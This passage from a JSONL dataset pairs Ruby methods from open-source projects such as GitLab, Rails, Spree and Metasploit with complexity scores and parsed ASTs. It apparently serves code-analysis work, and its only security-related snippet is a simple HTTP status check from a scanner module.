end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"render\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"stringify_keys\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"radio\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"value\"]},{\"type\":\"ivar\",\"children\":[\"@tag_value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"input_checked?\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"checked\"]},{\"type\":\"str\",\"children\":[\"checked\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"add_default_name_and_field_for_value\",{\"type\":\"ivar\",\"children\":[\"@tag_value\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"tag\",{\"type\":\"str\",\"children\":[\"input\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"1295eb69-7f50-49d1-a31d-9b9ed2515e14"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/tomcat_enum.rb","start_line":48,"raw_source":"def has_j_security_check?\n    vprint_status(\"#{full_uri} - Checking j_security_check...\")\n    res = send_request_raw({ 'uri' => normalize_uri(target_uri.path) })\n    if res\n      vprint_status(\"#{full_uri} - Server returned: #{res.code.to_s}\")\n      return true if res.code == 200 or res.code == 302\n    end\n\n    false\n  end","complexity_score":23.75,"ast_json":"{\"type\":\"def\",\"children\":[\"has_j_security_check?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"full_uri\"]}]},{\"type\":\"str\",\"children\":[\" - Checking j_security_check...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"full_uri\"]}]},{\"type\":\"str\",\"children\":[\" - Server returned: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"to_s\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[302]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]}]},null]},{\"type\":\"false\",\"children\":[]}]}]}","id":"44a1a496-018f-43f7-9013-d669f36ecec0"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/services/spree/orders/approve.rb","start_line":6,"raw_source":"def call(order:, approver: nil)\n        if approver.present?\n          order.approved_by(approver)\n        else\n          order.approve!\n        end\n        success(order.reload)\n      rescue ActiveRecord::Rollback, ActiveRecord::RecordInvalid, StateMachines::InvalidTransition\n        failure(order)\n      end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"order\"]},{\"type\":\"kwoptarg\",\"children\":[\"approver\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"approver\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"approved_by\",{\"type\":\"lvar\",\"children\":[\"approver\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"approve!\"]}]},{\"type\":\"send\",\"children\":[null,\"success\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"reload\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Rollback\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordInvalid\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StateMachines\"]},\"InvalidTransition\"]}]},null,{\"type\":\"send\",\"children\":[null,\"failure\",{\"type\":\"lvar\",\"children\":[\"order\"]}]}]},null]}]}","id":"1740f52a-fd09-4379-85a9-864cce92fa07"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/backlogs/lib/open_project/backlogs/list.rb","start_line":47,"raw_source":"def scope_condition\n      self.class.send(:sanitize_sql, [\"project_id = ? AND version_id = ? AND type_id IN (?)\",\n                                      project_id, version_id, types])\n    end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"scope_condition\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"send\",{\"type\":\"sym\",\"children\":[\"sanitize_sql\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"project_id = ? AND version_id = ? AND type_id IN (?)\"]},{\"type\":\"send\",\"children\":[null,\"project_id\"]},{\"type\":\"send\",\"children\":[null,\"version_id\"]},{\"type\":\"send\",\"children\":[null,\"types\"]}]}]}]}","id":"4fd99b17-a4ca-4120-a9b6-4af3ecf35963"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/authorized_keys.rb","start_line":73,"raw_source":"def remove_key(id)\n      lock do\n        logger.info(\"Removing key (#{id})\")\n        open_authorized_keys_file('r+') do |f|\n          while line = f.gets\n            next unless line.start_with?(\"command=\\\"#{command(id)}\\\"\")\n\n            f.seek(-line.length, IO::SEEK_CUR)\n            # Overwrite the line with #'s. Because the 'line' variable contains\n            # a terminating '\\n', we write line.length - 1 '#' characters.\n            f.write('#' * (line.length - 1))\n          end\n        end\n      end\n\n      true\n    rescue Errno::ENOENT\n      false\n    end","complexity_score":33.48,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lock\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Removing key (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"open_authorized_keys_file\",{\"type\":\"str\",\"children\":[\"r+\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"while\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"gets\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"start_with?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"command=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"command\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"seek\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"length\"]},\"-@\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IO\"]},\"SEEK_CUR\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"#\"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"length\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}]}]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ENOENT\"]}]},null,{\"type\":\"false\",\"children\":[]}]},null]}]}","id":"764b65ad-ead7-426e-945b-b90a81a09866"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/identity.rb","start_line":188,"raw_source":"def store_key\n        @store_key ||= format(COMPOSITE_IDENTITY_KEY_FORMAT, @user.id)\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"store_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@store_key\"]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"COMPOSITE_IDENTITY_KEY_FORMAT\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]}]}]}","id":"8c90a2f0-f1ba-4d2d-b625-7e9f6a0e6fcb"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/request/test_request_test.rb","start_line":16,"raw_source":"def test_content_length_has_bytes_count_value\n    non_ascii_parameters = { data: { content: \"Latin + Кириллица\" } }\n    @request.set_header \"REQUEST_METHOD\", \"POST\"\n    @request.set_header \"CONTENT_TYPE\", \"application/json\"\n    @request.assign_parameters(@routes, \"test\", \"create\", non_ascii_parameters,\n                               \"/test\", [:data, :controller, :action])\n    assert_equal(StringIO.new(non_ascii_parameters.to_json).length.to_s,\n                 @request.get_header(\"CONTENT_LENGTH\"))\n  end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_content_length_has_bytes_count_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"non_ascii_parameters\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"str\",\"children\":[\"Latin + Кириллица\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"set_header\",{\"type\":\"str\",\"children\":[\"REQUEST_METHOD\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"set_header\",{\"type\":\"str\",\"children\":[\"CONTENT_TYPE\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"assign_parameters\",{\"type\":\"ivar\",\"children\":[\"@routes\"]},{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"str\",\"children\":[\"create\"]},{\"type\":\"lvar\",\"children\":[\"non_ascii_parameters\"]},{\"type\":\"str\",\"children\":[\"/test\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"sym\",\"children\":[\"action\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringIO\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"non_ascii_parameters\"]},\"to_json\"]}]},\"length\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"get_header\",{\"type\":\"str\",\"children\":[\"CONTENT_LENGTH\"]}]}]}]}]}","id":"29913118-b713-42b0-ac5e-386c1d26e55a"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/variable_force/branch.rb","start_line":252,"raw_source":"def always_run?\n            element? || collection?\n          end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"always_run?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"element?\"]},{\"type\":\"send\",\"children\":[null,\"collection?\"]}]}]}","id":"f1eb3509-a1c7-46e1-82d4-841715146820"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/nextcloud/validators/ampf_configuration_validator.rb","start_line":111,"raw_source":"def auth_strategy = Registry[\"nextcloud.authentication.userless\"].call","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"auth_strategy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Registry\"]},\"[]\",{\"type\":\"str\",\"children\":[\"nextcloud.authentication.userless\"]}]},\"call\"]}]}","id":"6390e189-af34-4816-a130-9a2e8e5512c0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/groups/deploy_tokens/destroy_service.rb","start_line":8,"raw_source":"def execute\n        destroy_deploy_token(@group, params)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"destroy_deploy_token\",{\"type\":\"ivar\",\"children\":[\"@group\"]},{\"type\":\"send\",\"children\":[null,\"params\"]}]}]}","id":"040d9d90-f359-4c0a-8558-820a05bcef91"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/post_action.rb","start_line":40,"raw_source":"def self.lookup_for(user, topics, post_action_type_id)\n    return if topics.blank?\n    # in critical path 2x faster than AR\n    #\n    topic_ids = topics.map(&:id)\n    map = {}\n\n    builder = DB.build <<~SQL\n      SELECT p.topic_id, p.post_number\n      FROM post_actions pa\n      JOIN posts p ON pa.post_id = p.id\n      WHERE p.deleted_at IS NULL AND pa.deleted_at IS NULL AND\n         pa.post_action_type_id = :post_action_type_id AND\n         pa.user_id = :user_id AND\n         p.topic_id IN (:topic_ids)\n      ORDER BY p.topic_id, p.post_number\n    SQL\n\n    builder\n      .query(user_id: user.id, post_action_type_id: post_action_type_id, topic_ids: topic_ids)\n      .each { |row| (map[row.topic_id] ||= []) << row.post_number }\n\n    map\n  end","complexity_score":16.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"lookup_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"topics\"]},{\"type\":\"arg\",\"children\":[\"post_action_type_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topics\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"topic_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topics\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"map\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"builder\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"build\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT p.topic_id, p.post_number\\n\"]},{\"type\":\"str\",\"children\":[\"FROM post_actions pa\\n\"]},{\"type\":\"str\",\"children\":[\"JOIN posts p ON pa.post_id = p.id\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE p.deleted_at IS NULL AND pa.deleted_at IS NULL AND\\n\"]},{\"type\":\"str\",\"children\":[\"   pa.post_action_type_id = :post_action_type_id AND\\n\"]},{\"type\":\"str\",\"children\":[\"   pa.user_id = :user_id AND\\n\"]},{\"type\":\"str\",\"children\":[\"   p.topic_id IN (:topic_ids)\\n\"]},{\"type\":\"str\",\"children\":[\"ORDER BY p.topic_id, p.post_number\\n\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"builder\"]},\"query\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_action_type_id\"]},{\"type\":\"lvar\",\"children\":[\"post_action_type_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_ids\"]},{\"type\":\"lvar\",\"children\":[\"topic_ids\"]}]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"map\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"topic_id\"]}]},{\"type\":\"array\",\"children\":[]}]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"post_number\"]}]}]},{\"type\":\"lvar\",\"children\":[\"map\"]}]}]}","id":"9950271e-c06a-4675-a4e6-d0bfdf58688c"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_task.rb","start_line":266,"raw_source":"def task_results=(value)\n    value = value.force_encoding(\"UTF-8\") if value.kind_of?(String)\n    self.binary_blob   = BinaryBlob.new(:name => \"task_results\", :data_type => \"YAML\")\n    binary_blob.binary = YAML.dump(value)\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"task_results=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"force_encoding\",{\"type\":\"str\",\"children\":[\"UTF-8\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"binary_blob=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BinaryBlob\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"task_results\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data_type\"]},{\"type\":\"str\",\"children\":[\"YAML\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"binary_blob\"]},\"binary=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"dump\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}","id":"266af70d-1721-4424-ab4b-85364b87f299"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/context_commits_diff.rb","start_line":34,"raw_source":"def diff_refs\n    Gitlab::Diff::DiffRefs.new(\n      base_sha: commits.last&.diff_refs&.base_sha,\n      head_sha: commits.first&.diff_refs&.head_sha\n    )\n  end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_refs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Diff\"]},\"DiffRefs\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"base_sha\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commits\"]},\"last\"]},\"diff_refs\"]},\"base_sha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"head_sha\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commits\"]},\"first\"]},\"diff_refs\"]},\"head_sha\"]}]}]}]}]}","id":"b286965a-5567-4f23-af94-7cddef70c147"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/test_flight/group.rb","start_line":88,"raw_source":"def self.add_tester_to_groups!(tester: nil, app: nil, groups: nil)\n      self.perform_for_groups_in_app(app: app, groups: groups) { |group| group.add_tester!(tester) }\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"add_tester_to_groups!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"tester\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"app\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"groups\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"perform_for_groups_in_app\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app\"]},{\"type\":\"lvar\",\"children\":[\"app\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"groups\"]},{\"type\":\"lvar\",\"children\":[\"groups\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"add_tester!\",{\"type\":\"lvar\",\"children\":[\"tester\"]}]}]}]}","id":"5e51c3f2-f58d-463a-8261-1651ad15d4c2"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/incoming_emails/handlers/message_reply.rb","start_line":45,"raw_source":"def receive_message_reply(message_id)\n      message = Message.find_by(id: message_id)\n      if message\n        message = message.root\n\n        if !options[:no_permission_check] && !user.allowed_in_project?(:add_messages, message.project)\n          raise ::IncomingEmails::UnauthorizedAction\n        end\n\n        if message.locked?\n          ServiceResult.failure(message: \"ignoring reply from [#{sender_email}] to a locked topic\",\n                                mesage_type: :warn)\n        else\n          create_reply_message(message)\n        end\n      end\n    end","complexity_score":26.3,"ast_json":"{\"type\":\"def\",\"children\":[\"receive_message_reply\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Message\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"message_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"root\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"no_permission_check\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"add_messages\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"project\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"IncomingEmails\"]},\"UnauthorizedAction\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"locked?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResult\"]},\"failure\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ignoring reply from [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sender_email\"]}]},{\"type\":\"str\",\"children\":[\"] to a locked topic\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mesage_type\"]},{\"type\":\"sym\",\"children\":[\"warn\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create_reply_message\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},null]}]}]}","id":"74349a3d-8d0e-426c-8dd7-a231d8576da7"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/download_dsyms.rb","start_line":214,"raw_source":"def self.details\n        sample = <<-SAMPLE.markdown_sample\n          ```ruby\n          lane :refresh_dsyms do\n            download_dsyms                  # Download dSYM files from iTC\n            upload_symbols_to_crashlytics   # Upload them to Crashlytics\n            clean_build_artifacts           # Delete the local dSYM files\n          end\n          ```\n        SAMPLE\n\n        [\n          \"This action downloads dSYM files from App Store Connect after the ipa gets re-compiled by Apple. Useful if you have Bitcode enabled.\".markdown_preserve_newlines,\n          sample\n        ].join(\"\\n\")\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"details\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sample\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"          ```ruby\\n\"]},{\"type\":\"str\",\"children\":[\"          lane :refresh_dsyms do\\n\"]},{\"type\":\"str\",\"children\":[\"            download_dsyms                  # Download dSYM files from iTC\\n\"]},{\"type\":\"str\",\"children\":[\"            upload_symbols_to_crashlytics   # Upload them to Crashlytics\\n\"]},{\"type\":\"str\",\"children\":[\"            clean_build_artifacts           # Delete the local dSYM files\\n\"]},{\"type\":\"str\",\"children\":[\"          end\\n\"]},{\"type\":\"str\",\"children\":[\"          ```\\n\"]}]},\"markdown_sample\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"This action downloads dSYM files from App Store Connect after the ipa gets re-compiled by Apple. Useful if you have Bitcode enabled.\"]},\"markdown_preserve_newlines\"]},{\"type\":\"lvar\",\"children\":[\"sample\"]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}","id":"eea806e4-50c6-48d1-af32-0860ceb4e0d6"}
